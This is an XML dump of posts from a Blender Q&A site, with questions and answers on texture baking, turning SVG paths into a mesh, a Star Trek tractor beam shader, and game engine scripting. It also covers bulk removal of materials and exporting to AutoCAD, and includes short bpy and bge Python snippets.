  <row Id="27173" PostTypeId="2" ParentId="27172" CreationDate="2015-03-15T19:49:21.970" Score="1" Body="&lt;p&gt;You said you know how to bake a normal map from hi-poly to low-poly. It's the same for color texture.&lt;br&gt;&#xA;If you use blender internal, bake &lt;em&gt;textures&lt;/em&gt; instead of &lt;em&gt;normals&lt;/em&gt; in the menu.&lt;br&gt;&#xA;In cycles, you can choose 1 of the 3 diffuse maps (color, direct, indirect). The diffuse color should be what you need but if you want to combine the 3, you have to add direct to indirect and multiply the result with color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About normal map : painting a normal map is a bad idea. Some softwares allow you to do it but if you want to paint details, use a bump map (B&amp;amp;W). I'm not sure about that but I think the normal baking adds the bump map inside the resulting normal map (blender internal). Else you'd better paint it on the low-poly mesh.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-15T19:49:21.970" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27174" PostTypeId="1" CreationDate="2015-03-15T21:38:16.657" Score="1" ViewCount="1196" Body="&lt;p&gt;I'm trying to make a 3D version out of a logo, just for a bit of fun. I have an SVG of the logo which I've imported into blender and what I want is one surface where each closed path cuts into that surface so I can have each element at different levels.&lt;/p&gt;&#xA;&lt;p&gt;What I've done is import the SVG, convert all of the paths to a mesh and join them all together as one object. I then did a limited dissolve to clean up the mesh. I get something like&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wQGIN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Which is great but none of the paths of vertices is connected to any of the others, for example if I extrude one of the regions down then this is obscured by another region layered on top of it. Its just full of loads and loads of planes on top of each other. So can anyone help me with where I need to go from here? to make something like&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LP5uI.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks very much!&lt;/p&gt;&#xA;" OwnerUserId="915" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-16T10:43:02.127" Title="How can I convert paths into one plane" Tags="&lt;bezier-curves&gt;&lt;conversion&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27175" PostTypeId="2" ParentId="27110" CreationDate="2015-03-15T23:46:08.790" Score="3" Body="&lt;p&gt;this is not a total script but it does the job :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in the default scene (or empty one) create this compositor node setup&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aRc5W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you need to run this script just to have random numbers available in the driver :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import random&#xA;&#xA;def rand():&#xA;    return random.uniform(0,1)&#xA;&#xA;bpy.app.driver_namespace['rand'] = rand&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;now add a driver for the value nodes with the scripted expression &lt;code&gt;rand()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;set the number of frames to render to the number of textures&lt;/li&gt;&#xA;&lt;li&gt;render the animation and you'll have the output directory full with textures&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VATks.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-15T23:46:08.790" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27176" PostTypeId="1" AcceptedAnswerId="27177" CreationDate="2015-03-16T00:05:36.477" Score="7" ViewCount="1444" Body="&lt;p&gt;I am trying to create the tractor beam effect from Star Trek. I applied an emission shader with a noise texture as the factor and set the scale on the x channel of the texture coordinate to 0. That got me close. I thought if I applied this material to a cylinder then scaled one end of it down I would be done. However I get the following effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rxDGr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I adjust the coordinates so the rays come together at the top? Is there a better way to get this effect? I want to use it in an animation which is why I used the noise texture. By animating the texture coordinates I can get the rotating beam effect you see in the series.&lt;/p&gt;&#xA;" OwnerUserId="11146" LastActivityDate="2015-03-16T00:40:22.987" Title="Star Trek tractor beam effect" Tags="&lt;shaders&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27177" PostTypeId="2" ParentId="27176" CreationDate="2015-03-16T00:40:22.987" Score="12" Body="&lt;p&gt;&lt;strong&gt;This  is written for Cycles, however the same steps apply for Blender Internal except you do not need the volume mesh. All steps including the shadow mesh and lamps are the same.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I would recommend using a cone shaped mesh set to volume, a mesh that has holes in it to give the beam shadow, and a spot lamp. Start by adding a cone to your scene using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Mesh &gt; Cone&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MxPBb.jpg&quot; alt=&quot;Add Cone&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now move it, scale it, etc. as desired and add a spot lamp using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Lamp &gt; Spot&lt;/em&gt; and move it to the top of the cone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/115hO.gif&quot; alt=&quot;Add Spotlamp GIF&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now change the cone material to have a &lt;em&gt;Transparent&lt;/em&gt; surface material and a &lt;em&gt;Volume Scatter&lt;/em&gt; volume material in the material settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tQFCi.gif&quot; alt=&quot;Volume Material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all you need to do is add the texture to the volume. I do this by adding a plane, subdividing, and then deleting some random vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L3p5h.gif&quot; alt=&quot;Volume Shadow Mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now move it into the beam of light, rotate, duplicate, etc. and tweak the lamp settings and position as desired. You should end up with a result like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RN5uo.jpg&quot; alt=&quot;Final Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have included the .Blend file for you to examine and compare with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/106/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=106&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-03-16T00:40:22.987" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27180" PostTypeId="2" ParentId="27065" CreationDate="2015-03-16T03:39:23.710" Score="1" Body="&lt;p&gt;If you get the latest download from blender.org you'll have&#xA;all kinds of format choices including XVid&lt;img src=&quot;https://i.stack.imgur.com/vR2Ln.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13171" LastActivityDate="2015-03-16T03:39:23.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27181" PostTypeId="1" AcceptedAnswerId="27184" CreationDate="2015-03-16T09:39:28.273" Score="2" ViewCount="431" Body="&lt;p&gt;When I paint a texture, I can see the results when I press p. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t4Ekh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I include the scene in my game using &lt;code&gt;logic.getBlendFileList&lt;/code&gt;, I just see the 1st texture :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5zXQL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like something is not properly packed... When I try to uncheck &quot;automatically pack&quot; and &quot;pack all files&quot; again, I get a &quot;some images modified, changes will be lost, continue?&quot; and sure enough, if I continue, the rock and sand brushes/textures are lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make sure the new painted material gets packed? Alternatively, is there a way to make a new image out of the 3, to UV map on to the mesh once everything is painted, ensuring its consistency (at the cost of terrain editability) ?&lt;/p&gt;&#xA;" OwnerUserId="1608" LastEditorUserId="11431" LastEditDate="2015-03-16T12:18:36.483" LastActivityDate="2015-03-16T12:35:26.860" Title="Texture painting in game engine" Tags="&lt;game-engine&gt;&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27182" PostTypeId="2" ParentId="15118" CreationDate="2015-03-16T10:15:31.083" Score="8" Body="&lt;p&gt;A custom context needs to be passed as positional argument, not keyword argument.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.loopcut(override, number_cuts=...,) # not override=override!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Macros follow the same pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.loopcut_slide(override, MESH_OT_loopcut={&quot;number_cuts&quot;: ...,})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What the Macro &lt;code&gt;bpy.ops.mesh.loopcut_slide()&lt;/code&gt; specifically needs as context is a 3D View area (&lt;code&gt;Area.type == 'VIEW_3D'&lt;/code&gt;), the window region of that 3D View (usually &lt;code&gt;Area.regions[-1]&lt;/code&gt;) and the active object to be a mesh and in edit-mode.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-03-16T10:15:31.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27183" PostTypeId="2" ParentId="27174" CreationDate="2015-03-16T10:43:02.127" Score="1" Body="&lt;p&gt;Start by deselecting everything. Then move your cursor over a piece of your logo and press &lt;kbd&gt;L&lt;/kbd&gt; this will select all connected vertices to the piece under your cursor. Now you can extrude &lt;kbd&gt;E&lt;/kbd&gt; the selected section to the height you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat this process for each piece. After extruding a section I would then hide it by selecting all linked vertices (the extrude will deselect the original vertices as you move the extruded side) and pressing &lt;kbd&gt;H&lt;/kbd&gt;. When you are finished &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; will un-hide the vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w2HOk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-16T10:43:02.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27184" PostTypeId="2" ParentId="27181" CreationDate="2015-03-16T12:16:32.890" Score="2" Body="&lt;p&gt;OK, found out (in &lt;a href=&quot;https://www.youtube.com/watch?v=lWjroD6K47Y&quot; rel=&quot;nofollow&quot;&gt;this video&lt;/a&gt;) in the UV image editor displaying your painted texture, &lt;strong&gt;menu image/Save as image&lt;/strong&gt; (&lt;code&gt;F3&lt;/code&gt;). That's it, save the file, your multi-texture is packed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: If you paint the image again, repeat the steps but end with &lt;strong&gt;image/Reload image&lt;/strong&gt; (&lt;code&gt;Alt-s&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1608" LastEditorUserId="1608" LastEditDate="2015-03-16T12:35:26.860" LastActivityDate="2015-03-16T12:35:26.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27185" PostTypeId="2" ParentId="26809" CreationDate="2015-03-16T12:26:10.343" Score="1" Body="&lt;p&gt;So thanks to TheBusyTypist I was able to fix my code to work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector &#xA;from mathutils import Quaternion&#xA;from math import pi&#xA;# create variables&#xA;target = bpy.context.scene.objects['CTRLEmpty']&#xA;empty = bpy.context.scene.objects['offsetEmpty']&#xA;rotator = bpy.context.scene.objects['RotatorEmpty']&#xA;obj = bpy.data.objects['Sphere.001']&#xA;rot = Quaternion((1,0,0,0))&#xA;# create a custom function called delay on the empty&#xA;target['delay'] = 2&#xA;# create a custom function called delay on the empty&#xA;target['radius'] = 2&#xA;&#xA;# create empty list&#xA;prev_locations = []&#xA;&#xA;# define the function&#xA;def roller_function(scene):&#xA;    # add the location of the Target (variable) to the prev_locations list&#xA;    prev_locations.append( Vector(target.location) )&#xA;&#xA;    # create variable called loc_count that is equal to the amount of entries in prev_locations list.&#xA;    loc_count = len(prev_locations)&#xA;    # cull list to 10 items&#xA;    # whenever loc count is larger than the delay variable...&#xA;    while loc_count &amp;gt; target['delay']:&#xA;        # &quot;pop&quot; or remove the entrie at index position 0 (i.e.  the first entry)&#xA;        prev_locations.pop(0)&#xA;        # then subtract one from location count&#xA;        loc_count -= 1&#xA;&#xA;    # create an average location vector and position vectors P0 is for previos frame position (or current frame of delayEmpty P1 is for current position&#xA;    loc_average = Vector()&#xA;    P0 = Vector()&#xA;    P1 = Vector()&#xA;    for loc in prev_locations:&#xA;        #  add together location average and loc&#xA;        loc_average += loc&#xA;    # divide loc_avrage by loc count to get the actual average location&#xA;    loc_average /= loc_count&#xA;    # place delayEmpty in the priorframe location&#xA;    empty.location = prev_locations[0]&#xA;&#xA;    #the clever bit&#xA;    #create previous frame Position variable &#xA;    P0 = loc_average&#xA;    #create current frame Position  variable &#xA;    P1 = target.location&#xA;    #if no distance travelled rotation is the same as prior frame&#xA;    if(P0!=P1) :&#xA;        #find the difference in location between this frame and last&#xA;        dif = P1-P0&#xA;        #get the distance travelled&#xA;        dist = dif.length&#xA;        #set the radius from average dimension &#xA;        r0 = (obj.dimensions[0] + obj.dimensions[1] + obj.dimensions[2])/3&#xA;        angle=dist/r0*2&#xA;        vec = dif/-dist&#xA;        zUp = Vector((0, 0, 1))&#xA;        rotAxis = vec.cross(zUp)&#xA;        rotDif = Quaternion(rotAxis,angle)&#xA;        rot.rotate(rotDif)&#xA;        # print feedback in console&#xA;        print(&quot;locational difference is&quot;)           &#xA;        print(dif)&#xA;        print(&quot;distance travelled is&quot;)&#xA;        print(dist)   &#xA;        print(&quot;vec is&quot;)           &#xA;        print(vec)&#xA;        print(&quot;angle is&quot;)           &#xA;        print(angle)&#xA;        print(&quot;rotation is&quot;)           &#xA;        print(rot)&#xA;        print(loc_count)&#xA;        rotator.rotation_quaternion = rot&#xA;        obj.rotation_quaternion = rot        &#xA;&#xA;&#xA;&#xA;# clear then add a function&#xA;bpy.app.handlers.scene_update_pre.clear()&#xA;bpy.app.handlers.scene_update_pre.append(roller_function)&#xA;#bpy.app.handlers.frame_change_pre.clear()&#xA;#bpy.app.handlers.frame_change_pre.append(roller_function)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last 4 lines are interchangeable, the frame change set is more stable the scene_update allows you to see changes as you drag.&lt;/p&gt;&#xA;" OwnerUserId="13021" LastActivityDate="2015-03-16T12:26:10.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27186" PostTypeId="1" CreationDate="2015-03-16T13:31:50.003" Score="1" ViewCount="96" Body="&lt;p&gt;I'm loading scenes via &lt;code&gt;logic.getBlendFileList&lt;/code&gt; and that's fine, I can access objects in it, set sensors and properties, and wire them with python modules. But I can't seem to access their animations: When I create an action actuator and select an animation (this object is an armature, appended in the scene, I can include the individual &lt;code&gt;.blend&lt;/code&gt; file if needed) that this object has in the list menu, when I launch the game I get a rather laconic &lt;code&gt;Failed to load action: MyAnimation&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, I tried to create a &quot;Property&quot; actuator to toggle a boolean with a &quot;pulse&quot; sensor and it worked..?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a limitation of &lt;code&gt;logic.getBlendFileList&lt;/code&gt;, or are actions simply not available in python? Please excuse me if this is documented somewhere, in witch case can somebody please z-orient me to it?&lt;/p&gt;&#xA;" OwnerUserId="1608" LastEditorUserId="1608" LastEditDate="2015-03-16T13:43:22.877" LastActivityDate="2015-03-16T13:43:22.877" Title="Access to actuators in external object.blend file" Tags="&lt;python&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27187" PostTypeId="1" CreationDate="2015-03-16T13:34:06.743" Score="3" ViewCount="711" Body="&lt;p&gt;I have a timer that counts from 82 to -82 and back.&lt;br&gt;&#xA;And I have a circle that should rotate (x rotation) from 82 to -82 and back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I assign the timer number to the x rotation number of the circle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code so far is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController()&#xA;&#xA;circle = cont.owner&#xA;&#xA;matrix_rotation = circle.worldOrientation&#xA;&#xA;euler_rotation = matrix_rotation.to_euler()&#xA;&#xA;degrees_rotation = [math.degrees(a) for a in euler_rotation]&#xA;&#xA;circleRotation = int(degrees_rotation[1])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to reverse the steps but don't know how to do it. The timer is driven by the system time and the circle should spin accordingly (it is kind of a skybox).&lt;/p&gt;&#xA;" OwnerUserId="9529" LastEditorUserId="2217" LastEditDate="2015-03-16T13:36:36.543" LastActivityDate="2015-03-16T14:53:34.720" Title="Setting A Circle's Rotation From A Changing Number in the BGE" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27188" PostTypeId="1" AcceptedAnswerId="27189" CreationDate="2015-03-16T13:46:14.510" Score="0" ViewCount="109" Body="&lt;p&gt;Sometimes you need to use Blender without the standard shared preferences (addons, startup file, ...) for testing or to be sure to use the default settings without changing your usual preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is : &lt;strong&gt;How can you use different settings without modifying the global settings?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-16T13:47:04.393" Title="How to use a standalone blender (not using global preferences)" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27189" PostTypeId="2" ParentId="27188" CreationDate="2015-03-16T13:47:04.393" Score="1" Body="&lt;p&gt;The global settings are stored in :&lt;br&gt;&#xA;%APPDATA%\Roaming\Blender Foundation\Blender for windows&lt;br&gt;&#xA;~/.config/blender for linux&lt;br&gt;&#xA;where there are folders for each version (2.72, 2.73, ...)&lt;br&gt;&#xA;These setting can be ignored if you create a config (startup file, user preference file, bookmarks, recent files), a scripts (addons, presets) or a cache (BVHs, temporary) (or both) folder in the version folder of your installed or unzipped Blender : C:\blender\blender-2.74-rc1-windows64\2.74 &lt;strong&gt;&lt;em&gt;\config&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;If the folder(s) exists and is empty, Blender will use the default settings. Global settings can be copied there and then modified without changing global settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;https://blender.stackexchange.com/questions/78/how-would-i-import-export-blenders-preferences#comment118_82&quot;&gt;jesterKing&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/a/82/11431&quot;&gt;iKlsR&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-03-16T13:47:04.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27190" PostTypeId="1" AcceptedAnswerId="27192" CreationDate="2015-03-16T14:07:46.277" Score="6" ViewCount="6627" Body="&lt;p&gt;I've put in about 3 days of work manually editing a mesh (with lots of copying and pasting) to get around the issues of junk vertices with boolean operations in Blender and noticed something troubling.  I started with a single material but after all the edits that single material has multiplied into approximately 20,000 duplicates of the same material, all assigned to separate parts of the same mesh.  I've been clicking away at the &lt;code&gt;-&lt;/code&gt; button for awhile and am only up to ~700 deleted materials - is there a way to clear all materials from an object then simply reapply the one I want?&lt;/p&gt;&#xA;" OwnerUserId="11360" LastActivityDate="2015-05-12T06:07:58.490" Title="Quick way to remove thousands of materials from an object?" Tags="&lt;materials&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27191" PostTypeId="1" CreationDate="2015-03-16T14:14:14.677" Score="5" ViewCount="37894" Body="&lt;p&gt;I am looking to use blender to design some basic human modelling and hoping to have my designs manufactured by injection molding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I buy a new PC and invest a year or so of my time finding my way around Blender I would like confirmation of the processes and possibly some examples of how easy/hard it is to export a blender design/file so it can be opened by an autocad operative to begin the manufacturing process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My designs will contain a level of detail but will effectively (I hope) be just the external (single) skin mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After several days of searching, I find the following add on/extension - &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?136439-DWG-DXF-exporter-release-%282-49%29/page5&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?136439-DWG-DXF-exporter-release-%282-49%29/page5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that this thread is talking about the predecessor of the export options mentioned bellow and I can now simply export as DWG/DXF format without having to use too many complex options? Is the extension now shipped with Blender or is it still a &quot;plug in&quot;? Again, this is quite a specialised and highly specific issue so thanks for the perseverance. Similarly if anyone knows of a specific location for specialists of this nature feel free to post, thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a quick conversation with my AutoCAD engineers, they tell me they are most comfortable using .STL file types - a file type found in SketchUp and also used effectively by pro/ENGINEER. Any information regarding Blender3D exporting files in .STL such as supported/unsupported features and also if anyone has ever worked through the process I would be grateful to hear. Thanks again. &lt;/p&gt;&#xA;" OwnerUserId="13187" LastEditorUserId="13187" LastEditDate="2015-03-17T11:05:04.483" LastActivityDate="2019-11-04T23:18:05.793" Title="Blender to autocad" Tags="&lt;export&gt;&lt;file-format&gt;" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27192" PostTypeId="2" ParentId="27190" CreationDate="2015-03-16T14:30:40.667" Score="5" Body="&lt;p&gt;This will remove the materials(except the first) from the object and assign the first material to all the mesh&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the object&lt;/li&gt;&#xA;&lt;li&gt;run this script :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;C = bpy.context&#xA;&#xA;for i in range(1,len(C.object.material_slots)):&#xA;    C.object.active_material_index = 1&#xA;    bpy.ops.object.material_slot_remove()&#xA;&#xA;bpy.ops.object.mode_set(mode = 'EDIT') &#xA;bpy.ops.mesh.select_all(action = 'SELECT')&#xA;bpy.ops.object.material_slot_assign()&#xA;bpy.ops.object.mode_set(mode = 'OBJECT') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-16T14:30:40.667" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27193" PostTypeId="1" CreationDate="2015-03-16T14:35:43.190" Score="5" ViewCount="13619" Body="&lt;p&gt;So I added a shape key, but later I had no use for it so I decided to delete it. So I went to the Blender wiki and read the shape key article, which clearly stated &lt;em&gt;&quot;The &quot;X&quot; button: It allows you to delete the current key&quot;&lt;/em&gt;. So i did &lt;strong&gt;exactly&lt;/strong&gt; that, but when i pressed X nothing at all happened. I also tried using the &quot;delete&quot; key on my keyboard, with the same result. So how can I delete the Shape key?&lt;/p&gt;&#xA;" OwnerUserId="13052" LastActivityDate="2015-03-16T14:40:47.100" Title="How do I delete one single shape key?" Tags="&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27194" PostTypeId="2" ParentId="27193" CreationDate="2015-03-16T14:40:47.100" Score="8" Body="&lt;p&gt;Shape keys can be added and deleted through the &lt;strong&gt;Properties editor&lt;/strong&gt; (the on the right ) under the &lt;strong&gt;Data tab&lt;/strong&gt; in &lt;strong&gt;Shape keys&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GDnQd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-16T14:40:47.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27195" PostTypeId="2" ParentId="27187" CreationDate="2015-03-16T14:41:36.930" Score="2" Body="&lt;p&gt;All your need to do is take your timer's output (the &lt;em&gt;timer&lt;/em&gt; var in my script), convert it to radians and then insert it in the object rotation vector.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import math&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;circle = cont.owner&#xA;&#xA;x = math.radians(timmer)&#xA;circle.worldOrientation = (x, 0.0, 0.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason for the math.radians() conversion is &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bge.types.KX_GameObject.html#bge.types.KX_GameObject.worldOrientation&quot; rel=&quot;nofollow&quot;&gt;worldOrientation&lt;/a&gt; is a vector storing the rotation for the X, Y and Z axes in radians.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As a side note, a much simpler way to get the rotation of a object in degrees  is with these two lines. I used the same variable names you did to make it easier to see where it would fit in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;euler_rotation = circle.worldOrientation.to_euler()&#xA;circleRotation = math.degrees(euler_rotation[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-03-16T14:53:34.720" LastActivityDate="2015-03-16T14:53:34.720" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27196" PostTypeId="1" CreationDate="2015-03-16T15:30:24.840" Score="2" ViewCount="1108" Body="&lt;p&gt;I am just doing some research for an interactive app where I need some 3D assets. I dont have enoguh time to model all myself, so I have to use already existing assets. Since I dont have 3D Max, Cinema 4d or Maya, I have to use Blender for editing and adding further animations to my assets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Problem is, most assets I found so far are .3ds files, .obj or fbx. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Question is: What 3D file formats support bones?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use assets that are already rigged, so I dont have to rig and texture everything again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2015-03-16T18:55:28.843" Title="Blender supported 3D files that support armature" Tags="&lt;texturing&gt;&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27197" PostTypeId="2" ParentId="27191" CreationDate="2015-03-16T15:30:55.283" Score="4" Body="&lt;p&gt;It looks as if there are two exports that blender can do for AutoCAD, both are .dxf one has a stability problem; they can be found in the user preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hSc1D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is enable them and your golden! export whichever/whatever you want straight out of blender and into AutoCAD.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="3127" LastEditDate="2015-03-16T18:14:20.027" LastActivityDate="2015-03-16T18:14:20.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
